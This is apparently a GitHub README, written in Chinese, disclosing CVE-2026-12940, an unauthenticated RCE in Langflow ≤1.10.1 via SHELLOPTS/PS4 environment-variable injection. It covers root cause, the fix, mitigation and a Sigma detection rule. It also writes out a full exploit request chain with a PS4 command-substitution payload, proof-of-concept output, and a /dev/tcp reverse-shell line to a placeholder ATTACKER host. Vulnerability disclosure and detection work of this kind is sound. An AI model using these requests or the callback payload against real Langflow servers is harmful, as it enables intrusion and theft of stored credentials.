BiiTts/CVE-2026-12940-Langflow-Unauth-RCE
GitHub: BiiTts/CVE-2026-12940-Langflow-Unauth-RCE
该项目提供了 Langflow OSS <=1.10.1 版本中由 MCP stdio 环境变量注入(SHELLOPTS/PS4)引发的未授权远程代码执行漏洞(CVE-2026-12940)的 PoC 脚本、根因分析与复现环境。
Stars: 0 | Forks: 0
# CVE-2026-12940 — Langflow OSS ≤ 1.10.1 未授权 RCE (MCP stdio 环境变量注入)
[Langflow](https://github.com/langflow-ai/langflow) OSS 至 1.10.1 版本中存在的未授权远程代码执行。
用于保护 MCP stdio 服务器配置(`DANGEROUS_ENV_VARS`)的环境变量黑名单遗漏了
`SHELLOPTS`、`BASHOPTS` 和 `PS4`。由于 MCP stdio 启动器通过 `bash -c`
运行配置的命令,攻击者可以注入 `SHELLOPTS=xtrace` 以及 `PS4` 命令替换,
从而以 Langflow 进程用户的身份执行任意的 shell 命令——无需有效的 MCP 命令,
在默认安装下也无需身份验证。
| | |
|---|---|
| **CVE** | CVE-2026-12940 |
| **产品** | Langflow OSS |
| **受影响版本** | 1.0.0 – 1.10.1 |
| **修复版本** | 1.10.2 |
| **类别** | 通过环境变量注入引发的 OS 命令注入 (CWE-78) |
| **CVSS 3.1** | 9.8 CRITICAL — `AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` (IBM CNA) |
| **身份验证** | 默认安装下无需身份验证(`AUTO_LOGIN` 在 1.10.1 中默认开启) |
| **状态** | **确认存在漏洞** — 已在 `langflowai/langflow:1.10.1` 上完成端到端验证 |
## 根本原因
Langflow 允许用户通过 `POST /api/v2/mcp/servers/{name}` 注册外部 MCP
(Model Context Protocol) stdio 服务器。请求体由 `MCPServerConfig`
(`src/backend/base/langflow/api/v2/schemas.py`) 进行验证,该验证对 `command`、
`args` 和环境变量的**键**(keys)进行了严格控制:
- `command` 必须在白名单内(`node`、`python`、`npx`、`uvx`、`docker`、`sh`、`bash`…)。
- `args` 会扫描 shell 元字符(`;`、`|`、`$`、`` ` ``、`(`、`)`、…)
及危险关键字(`-c`、`eval`、`pip install`、…)。
- 环境变量的**键**(keys)会根据 `DANGEROUS_ENV_VARS`(`LD_PRELOAD`、`PATH`、`NODE_OPTIONS`、
`PYTHONPATH`、`BASH_ENV`、…)进行校验。
这两个缺陷结合在一起最终导致了 RCE:
1. **环境变量的值(values)从未被过滤。** 只有键会被与黑名单进行比对校验;
*值(values)*被原封不动地传递。因此,即使 `PS4` 的值被设为 `$(id)` 也会通过校验,
而如果完全相同的字符出现在 `args` 中则会被拒绝。
2. **黑名单不完整。** 在 1.10.1 版本中,`DANGEROUS_ENV_VARS` 并不包含
`shellopts`、`bashopts` 或 `ps4`。
随后,启动器(`src/lfx/src/lfx/base/mcp/util.py`)会在 Unix 系统上执行:
```
env_data = {"DEBUG": "true", "PATH": os.environ["PATH"], **(env or {})}
server_params = StdioServerParameters(
command="bash",
args=["-c", f"exec {command_str} || echo 'Command failed with exit code $?' >&2"],
env=env_data,
)
```
设置了 `SHELLOPTS=xtrace` 后,bash 会在启动时启用 `set -x`,并且
**在执行第一行被追踪的代码之前**,展开 `PS4` 提示符。因此,`PS4` 内部的命令替换会
立即执行——这与 `command`/`args` 完全无关,后两者甚至都不需要是有效的命令。
### 修复方案 (1.10.2)
黑名单被集中管理到了 `src/lfx/src/lfx/base/mcp/util.py` 中的 `DANGEROUS_MCP_ENV_VARS`,
并新增了 `shellopts`、`bashopts`、`ps4`(外加 `env`,作为纵深防御)。
`schemas.py` 现在会调用 `is_dangerous_mcp_env_var()`。在 1.10.2 版本中,
下文演示的注册请求会被拒绝并返回 HTTP 422。
## 概念验证 (PoC)
```
$ python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
[*] target : http://127.0.0.1:7860
[*] PS4 : $(id > /tmp/proof 2>&1)
[+] obtained superuser token via /api/v1/auto_login (no credentials)
[+] registered MCP server 'saf550ddb' with SHELLOPTS/PS4 payload (HTTP 200)
[+] triggered launcher via GET /api/v2/mcp/servers?action_count=true (HTTP 200)
[+] payload PS4 executed on the server as the Langflow process user
$ docker exec lf-12940 cat /tmp/proof
uid=1000(user) gid=0(root) groups=0(root)
```
原始 HTTP 请求链:
```
GET /api/v1/auto_login HTTP/1.1 → 200, {"access_token":"…"} (default install, no creds)
POST /api/v2/mcp/servers/pwn HTTP/1.1
Authorization: Bearer
Content-Type: application/json
{"command":"uvx","args":["mcp-server-fetch"],
"env":{"SHELLOPTS":"xtrace","PS4":"$(id > /tmp/proof 2>&1)"}}
→ 200 (accepted; LD_PRELOAD here → 422)
GET /api/v2/mcp/servers?action_count=true HTTP/1.1
Authorization: Bearer
→ 200, launcher spawns bash → PS4 runs `id`
```
`--ps4` 提供了用于反弹 shell / OAST 回调的原始利用原语:
```
python3 exploit.py --ps4 '$(exec 3<>/dev/tcp/ATTACKER/9001; echo pwned $(id) >&3)'
```
## 复现测试环境
```
docker run -d --name lf-12940 --network host langflowai/langflow:1.10.1
# (此容器没有 docker bridge;需要 --network host)
# Langflow 使用默认 config 出现在 http://127.0.0.1:7860
python3 exploit.py -u http://127.0.0.1:7860 --cmd "id > /tmp/proof 2>&1"
docker exec lf-12940 cat /tmp/proof
```
已修复版本的边界情况(请求被拒绝):
```
docker run -d --name lf-patched --network host langflowai/langflow:1.10.2
# 使用 SHELLOPTS POST .../mcp/servers/pwn → HTTP 422
# “出于安全原因,不允许使用环境变量 'SHELLOPTS'”
```
完整的捕获记录请参见 [`EVIDENCE.txt`](EVIDENCE.txt),
源码层面的分析请参见 [`ANALYSIS.md`](ANALYSIS.md)。
## 结论
**确认存在漏洞**,在 `langflowai/langflow:1.10.1` 上已通过两种独立的
技术手段验证:
1. **写入文件并包含解析后的输出** — 请求之前不存在的文件中
包含了 `uid=1000(user) gid=0(root) groups=0(root)`,这是针对目标系统 `/etc/passwd`
解析后得到的 `id(1)` 真实输出。这不是对输入字符串 `$(id …)` 的简单回显。
2. **带外 TCP 回调** — 目标向攻击者的监听器发起了回调,携带了其
真实的 hostname 和内核信息(`CALLBACK user@vbox 6.18.12+kali-amd64`)。
**已修复**,在 `langflowai/langflow:1.10.2` 上 — 相同的注册请求会返回 HTTP 422。
## 影响
以 Langflow 服务账号身份执行任意命令。可完整读取 Langflow 数据库中的所有 secret、
凭证和 flow,访问内部服务和云元数据,并以此为跳板渗透进周边网络。
## 修复建议
- 升级至 **Langflow OSS ≥ 1.10.2**。
- 在启用 `AUTO_LOGIN` 的情况下,不要将 Langflow 暴露至不受信任的网络;请设置显式的
超级管理员凭证并禁用自动登录。
- 纵深防御:在受限账户下运行该服务,并禁止其出站网络访问。
## 检测
关注 `env` 中包含 shell 控制变量的 MCP 服务器注册请求,以及 Langflow 进程衍生的
`bash` 子进程:
```
POST /api/v2/mcp/servers/* with a JSON body containing "SHELLOPTS", "BASHOPTS" or "PS4"
process: bash -c "exec …" parented by the langflow/gunicorn worker
```
Sigma(进程创建):
```
title: Langflow MCP stdio launcher shell-control env injection (CVE-2026-12940)
logsource: { category: process_creation, product: linux }
detection:
selection:
Image|endswith: '/bash'
CommandLine|contains: 'exec '
ParentImage|contains: 'langflow'
env_marker:
CommandLine|contains:
- 'SHELLOPTS'
- 'PS4=$('
condition: selection or env_marker
level: high
```
## 许可证
© Caio Fabrício (BiiTts)。
标签:Go语言工具, Langflow, MCP协议, 应用安全, 概念验证, 环境变量注入, 编程工具, 请求拦截, 远程代码执行, 逆向工具